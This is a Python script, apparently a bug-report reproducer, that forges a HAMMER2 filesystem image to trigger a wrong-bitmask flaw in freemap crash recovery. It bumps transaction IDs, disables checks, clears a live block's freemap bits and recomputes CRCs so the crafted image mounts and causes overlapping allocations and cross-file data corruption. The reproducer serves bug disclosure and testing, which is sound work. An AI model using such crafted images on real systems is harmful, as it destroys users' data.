DF-2652 / forge_2652.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | #!/usr/bin/env python3 """ DF-2652 forger: wrong bitmap-pair index in hammer2_freemap_adjust() DORECOVER. freemap.c:1073 computes the bit position of the 16K chunk inside its 512KB bitmapq[] element as start = ((int)(data_off >> HAMMER2_FREEMAP_BLOCK_RADIX) & 15) * 2; but each element holds 32 chunks (5 bits); the correct mask is & 31 (as used by the allocator in hammer2_bmap_alloc, :636, and by bulkfree staging, bulkfree.c:921-924). For chunks 16..31 of every 512K element (data_off bit 18 set) recovery/dedup marks the pair of chunk (n-16) instead of chunk n. This forge simulates the documented crash-recovery condition "allocation flushed to the topology but not yet to the freemap" for ONE fileA chain: * X0 = 0x1c40000 (fileA chain k=4, 64K): its 4 bit-pairs (bits 32..39 of bmap[7].bitmapq[0], LEAF @ 0x10000) are cleared 11 -> 00 in the on-disk freemap leaf (leaf icrc32 recomputed into volhdr freemap_blockset[0]); * fileA's ancestry brefs (testvol, fileA inode, indirect) get mirror_tid = 0x20 (> freemap_tid 0x11) so mount-time recovery calls hammer2_freemap_adjust(DORECOVER) on all 24 fileA DATA brefs; * CHECK_NONE on the touched ancestry + recompute volhdr CRCs. Expected: recovery re-marks the WRONG pairs (X0-0x40000, already 11 -> no-op) and leaves X0's pairs 00, so X0 -- still referenced by fileA's live bref -- is handed out to the next allocation (fileB), producing overlapping allocations / cross-file data corruption. """ import struct, sys, os sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from h2common import * LEAF = 0x10000 X0 = 0x1c40000 # fileA chain k=4 (64K), block-in-element 16..19 def leaf_pairs(img): """dump (bmap_idx, elem, pairs-as-hex) around X0 + avail of bmap[7]""" n = (X0 >> 22) & 255 elem = (X0 >> 19) & 7 b = LEAF + n * 128 linear, cls, avail = struct.unpack_from('<iHI', img, b) bits = struct.unpack_from('<8Q', img, b + 0x40) return dict(n=n, elem=elem, linear=linear, cls=cls, avail=avail, bits=[hex(x) for x in bits]) def main(): base, out = sys.argv[1], sys.argv[2] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) pbr = find_pfs_bref(img, sbr, b'testvol') # the volhdr sroot_blockset bref gates recovery recursion into the sroot struct.pack_into('<Q', img, sbr['off'] + 0x10, 0x20) print("[+] volhdr sroot bref @%#x: mirror_tid -> 0x20" % sbr['off']) # ---- ancestry: bump mirror_tid + CHECK_NONE along the recovery path struct.pack_into('<Q', img, pbr['off'] + 0x10, 0x20) struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00) # fileA inode bref = slot0 of PFS-root blockset fib = (pbr['data_off'] & ~RADIX_MASK) + 0x200 + 0 * BREF struct.pack_into('<Q', img, fib + 0x10, 0x20) struct.pack_into('<B', img, fib + 0x01, 0x00) # fileA inode block -> its blockset slot0 = INDIRECT bref fA_blk = struct.unpack_from('<Q', img, fib + 0x20)[0] & ~RADIX_MASK iib = fA_blk + 0x200 + 0 * BREF struct.pack_into('<Q', img, iib + 0x10, 0x20) struct.pack_into('<B', img, iib + 0x01, 0x00) ind_off = struct.unpack_from('<Q', img, iib + 0x20)[0] & ~RADIX_MASK print("[+] ancestry bumped: pbr@%#x fileA-bref@%#x ind-bref@%#x (ind blk %#x, fA blk %#x)" % (pbr['off'], fib, iib, ind_off, fA_blk)) # ---- all 24 fileA DATA brefs: mirror_tid -> 0x20 (keep methods 0x30) cnt = 0 for e in range(128): o = ind_off + e * BREF if img[o] == 3: assert struct.unpack_from('<Q', img, o + 0x20)[0] & ~RADIX_MASK struct.pack_into('<Q', img, o + 0x10, 0x20) cnt += 1 print("[+] bumped mirror_tid on %d fileA DATA brefs" % cnt) assert cnt == 24, cnt # ---- clear X0's 4 bit-pairs in the on-disk freemap leaf (simulate # 'topology flushed, freemap not' for that allocation) st = leaf_pairs(img) print("[+] leaf before: bmap[%d] avail=%#x bitmapq[0]=%s" % (st['n'], st['avail'], st['bits'][0])) b = LEAF + st['n'] * 128 + 0x40 + st['elem'] * 8 old = struct.unpack_from('<Q', img, b)[0] mask = 0xFF << 32 # chunks 16..19 of element 0 assert (old & mask) == mask, "X0 pairs not all 11: %#x" % old struct.pack_into('<Q', img, b, old & ~mask) print("[+] leaf: cleared X0 (%#x) pairs: %#x -> %#x" % (X0, old, old & ~mask)) # NOTE: avail intentionally left as-is (matches the crash condition where # the allocation was accounted but the bitmap write was lost). # ---- recompute leaf chain CRC into volhdr freemap_blockset[0] icrc = iscsi_crc32(bytes(img[LEAF:LEAF + 32768])) for v in vols: struct.pack_into('<I', img, v + 0x800 + 0x40, icrc) struct.pack_into('<B', img, v + 0x201, 0x00) # sroot CHECK_NONE print("[+] leaf icrc32 = %#010x" % icrc) recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] wrote %s" % out) if __name__ == '__main__': main() |